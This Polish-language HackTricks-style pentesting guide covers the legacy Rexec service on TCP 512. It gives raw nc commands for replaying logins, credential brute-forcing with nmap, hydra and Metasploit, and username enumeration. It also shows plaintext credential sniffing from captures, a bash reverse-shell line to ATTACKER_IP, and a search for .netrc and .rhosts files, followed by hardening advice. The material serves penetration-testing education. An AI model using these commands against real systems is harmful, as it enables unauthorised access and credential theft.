512 - Pentesting Rexec

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Basic Information

Rexec (zdalne exec) jest jednym z oryginalnych r-services z Berkeley (wraz z rlogin, rsh, …). Zapewnia możliwość zdalnego wykonywania poleceń uwierzytelnianą wyłącznie przy użyciu nazwy użytkownika i hasła w postaci tekstu jawnego. Protokół został zdefiniowany na początku lat 80. (zob. RFC 1060) i obecnie uważany jest za niebezpieczny z założenia. Mimo to nadal bywa domyślnie włączony w niektórych starszych systemach UNIX i urządzeniach podłączonych do sieci oraz czasami pojawia się podczas wewnętrznych pentests.

Port domyślny: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Cały ruch – łącznie z credentials – jest przesyłany niezaszyfrowany. Każdy, kto potrafi sniffować sieć, może odzyskać username, password i command.

Szybki przegląd protokołu

  1. Klient łączy się na TCP 512.
  2. Klient wysyła trzy NUL-terminated łańcuchy:
  • numer portu (jako ASCII), na którym chce otrzymywać stdout/stderr (często 0),
  • username,
  • password.
  1. Wysyłany jest finalny NUL-terminated łańcuch zawierający command do wykonania.
  2. Serwer odpowiada pojedynczym bajtem statusu 8-bitowym (0 = success, 1 = failure), po którym następuje output komendy.

Jeżeli pierwsze pole jest non-zero, serwer otwiera drugie połączenie TCP z powrotem do klienta i używa go dla stderr. Jest to przydatne zarówno do manual testing, jak i do fingerprinting filtering / firewall issues związanych z usługą.

To oznacza, że możesz odtworzyć wymianę używając nic więcej niż echo -e i nc:

(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Jeśli credentials są poprawne, otrzymasz wynik id bezpośrednio na tym samym połączeniu.

Jeśli chcesz odbierać stderr na dedykowanym listenerze, poproś server, aby połączył się z powrotem do Ciebie:

nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512

Wiele popularnych implementacji (na przykład GNU rexecd) nadal wymusza 16-byte username/password fields i zwraca different diagnostic strings dla nieprawidłowych nazw użytkowników vs nieprawidłowych haseł. To ma znaczenie podczas enumeration, ponieważ niektóre cele powodują leak informacji o tym, czy konto istnieje, zanim rozpoczniesz brute forcing.

Ręczne użycie klienta

Wiele dystrybucji Linuksa nadal dostarcza przestarzałego klienta w pakiecie inetutils-rexec / rsh-client:

rexec -l user -p password <target> "uname -a"

Jeśli -p zostanie pominięte, klient poprosi interaktywnie o hasło (widoczne na łączu w postaci jawnego tekstu!).

Aby uniknąć pozostawiania hasła w historii powłoki / liście procesów, GNU rexec obsługuje także odczyt z stdin:

printf '%s\n' 'password' | rexec -l user -p - <target> "id"

To nie jest bezpieczniejsze w sieci; zmniejsza tylko lokalną ekspozycję na hoście atakującym.


Enumeration & Brute-forcing

Brute-force

Nmap

nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

rexec-brute NSE używa opisanego powyżej protokołu do bardzo szybkiego sprawdzania poświadczeń .

Hydra / Medusa / Ncrack

hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra ma dedykowany moduł rexec i pozostaje najszybszym offline bruteforcerem. medusa (-M REXEC) i ncrack (rexec moduł) mogą być użyte w ten sam sposób.

Username enumeration through server messages

Niektóre implementacje rexecd zwracają odrębne komunikaty błędów, takie jak Login incorrect. vs Password incorrect.. Jeśli zauważysz takie zachowanie, najpierw zweryfikuj nazwy użytkowników, a dopiero potem brute force passwords:

printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2

Jeśli komunikaty się różnią, zbuduj listę prawidłowych użytkowników przed przeprowadzeniem dużego password spray.

Sprawdź pokrewne r-usługi

rexec sam korzysta z uwierzytelniania hasłem, w przeciwieństwie do logiki zaufanych hostów rsh / rlogin, ale w praktyce często pochodzą z tego samego przestarzałego pakietu (openbsd-inetd, inetutils, vendor UNIX bundles). Jeśli TCP 512 jest otwarty, natychmiast sprawdź też TCP 513 i 514, ponieważ nadużycie .rhosts / /etc/hosts.equiv może umożliwić łatwiejsze lateral movement:

nmap -sV -p 512,513,514 <target>

Zobacz także:

514 - Pentesting Rsh

513 - Pentesting Rlogin

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

Moduł uruchomi shell po powodzeniu i zapisze credentials w database .


Sniffing credentials

Ponieważ wszystko jest clear-text, network captures are priceless. Mając kopię ruchu możesz wyodrębnić creds bez dotykania celu:

tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark włącz Decode As … TCP 512 → REXEC, aby zobaczyć ładnie sparsowane pola.)


Post-Exploitation tips

  • Polecenia są uruchamiane z uprawnieniami podanego użytkownika. Jeśli /etc/pam.d/rexec jest źle skonfigurowany (np. pam_rootok), czasami możliwe są shelle z uprawnieniami root.
  • Rexec ignoruje powłokę użytkownika i wykonuje polecenie przez /bin/sh -c <cmd>. Możesz więc użyć typowych trików ucieczki powłoki (;, $( ), backticks) do łączenia wielu poleceń lub uruchamiania reverse shells:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Hasła często są przechowywane w ~/.netrc lub w przestarzałych skryptach automatyzacji na innych systemach; jeśli przejmiesz jeden host, możesz je ponownie wykorzystać do lateral movement:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null

Hardening / Detection

  • Do not expose rexec; zastąp go SSH. Praktycznie wszystkie nowoczesne inetd superservery domyślnie komentują tę usługę.
  • Jeśli musisz go zachować, ogranicz dostęp za pomocą TCP wrappers (/etc/hosts.allow) lub reguł firewall i wymuszaj silne hasła dla każdego konta.
  • Monitoruj ruch do :512 oraz uruchomienia procesu rexecd. Jeden zapis pakietów wystarczy, by wykryć kompromitację.
  • Wyłącz rexec, rlogin, rsh razem – dzielą większość tej samej bazy kodu i słabości.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks